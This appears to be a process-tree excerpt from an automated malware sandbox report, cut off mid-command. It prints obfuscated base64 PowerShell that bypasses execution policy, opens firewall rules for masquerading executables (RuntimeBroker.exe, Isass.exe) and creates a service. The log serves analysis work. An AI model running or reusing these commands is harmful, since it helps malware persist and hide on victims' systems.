                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwB1AGIAbgBlAHQAdwBvAHIAawAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAUwB1AGIAbgBlAHQAdwBvAHIAawAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAAUwB1AGIAbgBlAHQAdwBvAHIAawAgAEMAbwBuAHQAcgBvAGwAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABTAHUAYgBuAGUAdAB3AG8AcgBrACAAQwBvAG4AdAByAG8AbAAgAEMAZQBuAHQAZQByACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAFMAdQBiAG4AZQB0AHcAbwByAGsAIABDAG8AbgB0AHIAbwBsACAAQwBlAG4AdABlAHIAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAAUwB1AGIAbgBlAHQAdwBvAHIAawAgAEMAbwBuAHQAcgBvAGwAIABDAGUAbgB0AGUAcgAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABSAHUAbgB0AGkAbQBlAEIAcgBvAG8AawBlAHIALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQAgAEMAZQBuAHQAZQByACAARQB4AHQAZQBuAGQAZQByACAALQAgAEgAVABUAFAAIABTAHQAcgBlAGEAbQBpAG4AZwAgACgAVABDAFAAKQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAE0AZQBkAGkAYQAgAEMAZQBuAHQAZQByACAARQB4AHQAZQBuAGQAZQByACAALQAgAEgAVABUAFAAIABTAHQAcgBlAGEAbQBpAG4AZwAgACgAVABDAFAAKQAiACAALQBHAHIAbwB1AHAAIAAiAE0AZQBkAGkAYQAgAEMAZQBuAHQAZQByACAARQB4AHQAZQBuAGQAZQByACAALQAgAEgAVABUAFAAIABTAHQAcgBlAGEAbQBpAG4AZwAgACgAVABDAFAAKQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABSAHUAbgB0AGkAbQBlAEIAcgBvAG8AawBlAHIALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIATQBlAGQAaQBhACAAQwBlAG4AdABlAHIAIABFAHgAdABlAG4AZABlAHIAIAAtACAASABUAFQAUABTACAAUwB0AHIAZQBhAG0AaQBuAGcAIAAoAFQAQwBQACkAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBNAGUAZABpAGEAIABDAGUAbgB0AGUAcgAgAEUAeAB0AGUAbgBkAGUAcgAgAC0AIABIAFQAVABQAFMAIABTAHQAcgBlAGEAbQBpAG4AZwAgACgAVABDAFAAKQAiACAALQBHAHIAbwB1AHAAIAAiAE0AZQBkAGkAYQAgAEMAZQBuAHQAZQByACAARQB4AHQAZQBuAGQAZQByACAALQAgAEgAVABUAFAAUwAgAFMAdAByAGUAYQBtAGkAbgBnACAAKABUAEMAUAApACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AbwBrAGUAcgAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQA=
                                  4⤵
                                  • Drops file in System32 directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2728
                                  • C:\Windows\system32\chcp.com
                                    "C:\Windows\system32\chcp.com" 1252
                                    5⤵
                                      PID:1004
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssD12F.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiD11D.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrD11E.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrD12E.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                  3⤵
                                  • Drops file in System32 directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1684
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBNAGUAZABpAGEAIABDAGUAbgB0AGUAcgAgAEUAeAB0AGUAbgBkAGUAcgAgAC0AIABIAFQAVABQACAAUwB0AHIAZQBhAG0AaQBuAGcAIAAoAFUARABQACkAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBNAGUAZABpAGEAIABDAGUAbgB0AGUAcgAgAEUAeAB0AGUAbgBkAGUAcgAgAC0AIABIAFQAVABQACAAUwB0AHIAZQBhAG0AaQBuAGcAIAAoAFUARABQACkAIgAgAC0ARwByAG8AdQBwACAAIgBNAGUAZABpAGEAIABDAGUAbgB0AGUAcgAgAEUAeAB0AGUAbgBkAGUAcgAgAC0AIABIAFQAVABQACAAUwB0AHIAZQBhAG0AaQBuAGcAIAAoAFUARABQACkAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB0AHIAYQBmAGYAbQBvAG4AZQB0AGkAegBlAHIAXABhAHAAcABcAFQAZQB4AHQAbABuAHAAdQB0AEgAbwBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIATQBlAGQAaQBhACAAQwBlAG4AdABlAHIAIABFAHgAdABlAG4AZABlAHIAIAAtACAASABUAFQAUABTACAAUwB0AHIAZQBhAG0AaQBuAGcAIAAoAFUARABQACkAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBNAGUAZABpAGEAIABDAGUAbgB0AGUAcgAgAEUAeAB0AGUAbgBkAGUAcgAgAC0AIABIAFQAVABQAFMAIABTAHQAcgBlAGEAbQBpAG4AZwAgACgAVQBEAFAAKQAiACAALQBHAHIAbwB1AHAAIAAiAE0AZQBkAGkAYQAgAEMAZQBuAHQAZQByACAARQB4AHQAZQBuAGQAZQByACAALQAgAEgAVABUAFAAUwAgAFMAdAByAGUAYQBtAGkAbgBnACAAKABVAEQAUAApACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdAByAGEAZgBmAG0AbwBuAGUAdABpAHoAZQByAFwAYQBwAHAAXABUAGUAeAB0AGwAbgBwAHUAdABIAG8AcwB0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABPAHUAdABiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAA==
                                    4⤵
                                    • Drops file in System32 directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2948
                                    • C:\Windows\SysWOW64\chcp.com
                                      "C:\Windows\system32\chcp.com" 1252
                                      5⤵
                                        PID:2840
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssE782.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiE770.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrE771.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrE772.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                    3⤵
                                    • Drops file in System32 directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2324
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBCAHIAYQB2AGUAIABCAHIAbwB3AHMAZQByACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAQgByAGEAdgBlACAAQgByAG8AdwBzAGUAcgAiACAALQBHAHIAbwB1AHAAIAAiAEIAcgBhAHYAZQAgAEIAcgBvAHcAcwBlAHIAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwAVQBzAGUAcgAwADAAQgBFAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAEIAcgBhAHYAZQAgAEIAcgBvAHcAcwBlAHIAIABFAFUATABBACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAQgByAGEAdgBlACAAQgByAG8AdwBzAGUAcgAgAEUAVQBMAEEAIgAgAC0ARwByAG8AdQBwACAAIgBCAHIAYQB2AGUAIABCAHIAbwB3AHMAZQByACAARQBVAEwAQQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABVAHMAZQByADAAMABCAEUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAEIAcgBhAHYAZQAgAEIAcgBvAHcAcwBlAHIAIABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAIABNAG8AZAB1AGwAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAEIAcgBhAHYAZQAgAEIAcgBvAHcAcwBlAHIAIABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAIABNAG8AZAB1AGwAZQAiACAALQBHAHIAbwB1AHAAIAAiAEIAcgBhAHYAZQAgAEIAcgBvAHcAcwBlAHIAIABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAIABNAG8AZAB1AGwAZQAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABVAHMAZQByADAAMABCAEUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAQgByAGEAdgBlACAAQgByAG8AdwBzAGUAcgAgAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAgAEMAZQBuAHQAZQByACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAQgByAGEAdgBlACAAQgByAG8AdwBzAGUAcgAgAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAgAEMAZQBuAHQAZQByACIAIAAtAEcAcgBvAHUAcAAgACIAQgByAGEAdgBlACAAQgByAG8AdwBzAGUAcgAgAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAgAEMAZQBuAHQAZQByACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAFUAcwBlAHIAMAAwAEIARQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQA=
                                      4⤵
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2896
                                      • C:\Windows\system32\chcp.com
                                        "C:\Windows\system32\chcp.com" 1252
                                        5⤵
                                          PID:2860
                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                      -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssF398.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiF385.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrF386.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrF387.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                      3⤵
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2432
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBXAGkAbgBkAG8AdwBzACAAQwByAGUAZABlAG4AdABpAGEAbABzACAAUwBlAHIAdgBpAGMAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABTAGUAcgB2AGkAYwBlACIAIAAtAEcAcgBvAHUAcAAgACIAVwBpAG4AZABvAHcAcwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAFMAZQByAHYAaQBjAGUAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEEAUABQAEQAQQBUAEEAXABMAE8AQwBBAEwAXABUAEUATQBQAFwASQBzAGEAcwBzAC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABTAGUAcgB2AGkAYwBlACAATQBhAG4AYQBnAGUAcgAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABTAGUAcgB2AGkAYwBlACAATQBhAG4AYQBnAGUAcgAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABTAGUAcgB2AGkAYwBlACAATQBhAG4AYQBnAGUAcgAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBQAFAARABBAFQAQQBcAEwATwBDAEEATABcAFQARQBNAFAAXABJAHMAYQBzAHMALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBHAHIAbwB1AHAAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAiACAALQBQAHIAbwBnAHIAYQBtACAAIgAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdABcAFQARQBNAFAAXABJAHMAYQBzAHMALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AZABvAHcAcwAgAE0AZQBkAGkAYQAgAFMAeQBuAGMAaAByAG8AbgBpAHoAYQB0AGkAbwBuACAAUwBlAHIAdgBpAGMAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABTAHkAbgBjAGgAcgBvAG4AaQB6AGEAdABpAG8AbgAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARwByAG8AdQBwACAAIgBXAGkAbgBkAG8AdwBzACAATQBlAGQAaQBhACAAUwB5AG4AYwBoAHIAbwBuAGkAegBhAHQAaQBvAG4AIABTAGUAcgB2AGkAYwBlACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0AFwAVABFAE0AUABcAEkAcwBhAHMAcwAuAGUAeABlACIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIAbQB5AHMAdABfAGwAYQB1AG4AYwBoAGUAcgBfAHQAYwBwACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAbQB5AHMAdABfAGwAYQB1AG4AYwBoAGUAcgBfAHQAYwBwACIAIAAtAFAAcgBvAGcAcgBhAG0AIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXAAuAG0AeQBzAHQAZQByAGkAdQBtAC0AYgBpAG4AXABtAHkAcwB0AC4AZQB4AGUAIgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAUAB1AGIAbABpAGMAIAAtAFAAcgBvAHQAbwBjAG8AbAAgAFQAQwBQACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBtAHkAcwB0AF8AbABhAHUAbgBjAGgAZQByAF8AdQBkAHAAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBtAHkAcwB0AF8AbABhAHUAbgBjAGgAZQByAF8AdQBkAHAAIgAgAC0AUAByAG8AZwByAGEAbQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAC4AbQB5AHMAdABlAHIAaQB1AG0ALQBiAGkAbgBcAG0AeQBzAHQALgBlAHgAZQAiACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABQAHUAYgBsAGkAYwAgAC0AUAByAG8AdABvAGMAbwBsACAAVQBEAFAAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQA=
                                        4⤵
                                        • Drops file in System32 directory
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1520
                                        • C:\Windows\system32\chcp.com
                                          "C:\Windows\system32\chcp.com" 1252
                                          5⤵
                                            PID:2644
                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                        -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss69.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi47.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr57.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr68.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                        3⤵
                                        • Drops file in System32 directory
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1408
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIAAiAFAAcgBvAGcAcgBhAG0AcwBDAGEAYwBoAGUAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBDAGEAYwBoAGUAIABQAHIAbwBnAHIAYQBtACAAQwBvAG4AdAByAG8AbAAiACAALQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAiAE0AYQBuAGEAZwBlAHMAIABhAG4AZAAgAGkAbQBwAGwAZQBtAGUAbgB0AHMAIABDAGEAYwBoAGUAIABQAHIAbwBnAHIAYQBtACAAQwBvAG4AdAByAG8AbAAgAHUAcwBlAGQAIABmAG8AcgAgAGIAYQBjAGsAdQBwACAAYQBuAGQAIABvAH